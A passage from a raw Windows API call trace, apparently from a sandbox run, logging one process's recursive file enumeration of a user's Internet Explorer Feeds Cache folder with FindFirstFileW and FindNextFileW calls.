hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430ec4ba, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.900] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3XWJJJOY", cAlternateFileName="")) returned 1 [0217.900] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7G6WH434", cAlternateFileName="")) returned 1 [0217.900] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x38f0f5, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x38f0f5, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x38f0f5, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0217.900] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IOHGA9C1", cAlternateFileName="")) returned 1 [0217.900] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x427af6, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x427af6, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x427af6, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y905C2M8", cAlternateFileName="")) returned 1 [0217.901] FindNextFileW (in: hFindFile=0x1d1f5710, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x427af6, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x427af6, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x427af6, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y905C2M8", cAlternateFileName="")) returned 0 [0217.901] FindClose (in: hFindFile=0x1d1f5710 | out: hFindFile=0x1d1f5710) returned 1 [0217.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.901] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0217.901] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9cbe0) returned 1 [0217.901] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache", nBufferLength=0x105, lpBuffer=0x1dc9c6c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache", lpFilePart=0x0) returned 0x39 [0217.901] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds cache\\*"), lpFindFileData=0x1dc9c8f0 | out: lpFindFileData=0x1dc9c8f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430ec4ba, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.901] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x430ec4ba, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.902] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3XWJJJOY", cAlternateFileName="")) returned 1 [0217.902] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="7G6WH434", cAlternateFileName="")) returned 1 [0217.902] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x38f0f5, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x38f0f5, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x38f0f5, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="container.dat", cAlternateFileName="CONTAI~1.DAT")) returned 1 [0217.902] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IOHGA9C1", cAlternateFileName="")) returned 1 [0217.902] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x427af6, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x427af6, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x427af6, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Y905C2M8", cAlternateFileName="")) returned 1 [0217.902] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c8b0 | out: lpFindFileData=0x1dc9c8b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.903] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cb10) returned 1 [0217.903] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9cad0) returned 1 [0217.903] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0217.903] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\3XWJJJOY", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\3XWJJJOY", lpFilePart=0x0) returned 0x42 [0217.903] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\3XWJJJOY\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds cache\\3xwjjjoy\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.904] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.904] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.904] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0217.904] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0217.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0217.904] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\3XWJJJOY", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\3XWJJJOY", lpFilePart=0x0) returned 0x42 [0217.904] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\3XWJJJOY\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds cache\\3xwjjjoy\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.905] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.905] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.905] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0217.905] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c310) returned 1 [0217.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1dc9c420) returned 1 [0217.905] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\7G6WH434", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\7G6WH434", lpFilePart=0x0) returned 0x42 [0217.905] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\7G6WH434\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds cache\\7g6wh434\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.906] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.906] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.906] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0217.907] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\7G6WH434", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\7G6WH434", lpFilePart=0x0) returned 0x42 [0217.907] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\7G6WH434\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds cache\\7g6wh434\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.907] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.907] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0217.907] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.908] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0217.908] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\IOHGA9C1", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\IOHGA9C1", lpFilePart=0x0) returned 0x42 [0217.908] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\IOHGA9C1\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds cache\\iohga9c1\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.909] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.909] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieonlinews.microsoft[1]", cAlternateFileName="IEONLI~1.MIC")) returned 1 [0217.909] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0217.909] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.909] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0217.910] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\IOHGA9C1", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\IOHGA9C1", lpFilePart=0x0) returned 0x42 [0217.910] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\IOHGA9C1\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\feeds cache\\iohga9c1\\*"), lpFindFileData=0x1dc9c130 | out: lpFindFileData=0x1dc9c130*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f5ad0 [0217.910] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0217.910] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieonlinews.microsoft[1]", cAlternateFileName="IEONLI~1.MIC")) returned 1 [0217.910] FindNextFileW (in: hFindFile=0x1d1f5ad0, lpFindFileData=0x1dc9c0f0 | out: lpFindFileData=0x1dc9c0f0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45e6e0, ftCreationTime.dwHighDateTime=0x1d99d1d, ftLastAccessTime.dwLowDateTime=0x45e6e0, ftLastAccessTime.dwHighDateTime=0x1d99d1d, ftLastWriteTime.dwLowDateTime=0x45e6e0, ftLastWriteTime.dwHighDateTime=0x1d99d1d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieonlinews.microsoft[1]", cAlternateFileName="IEONLI~1.MIC")) returned 0 [0217.911] FindClose (in: hFindFile=0x1d1f5ad0 | out: hFindFile=0x1d1f5ad0) returned 1 [0217.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1dc9c350) returned 1 [0217.911] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\Y905C2M8", nBufferLength=0x105, lpBuffer=0x1dc9bf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\Y905C2M8", lpFilePart=0x0) returned 0x42 [0217.911] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Feeds Cache\\Y905C2M8\\*" (normalized: 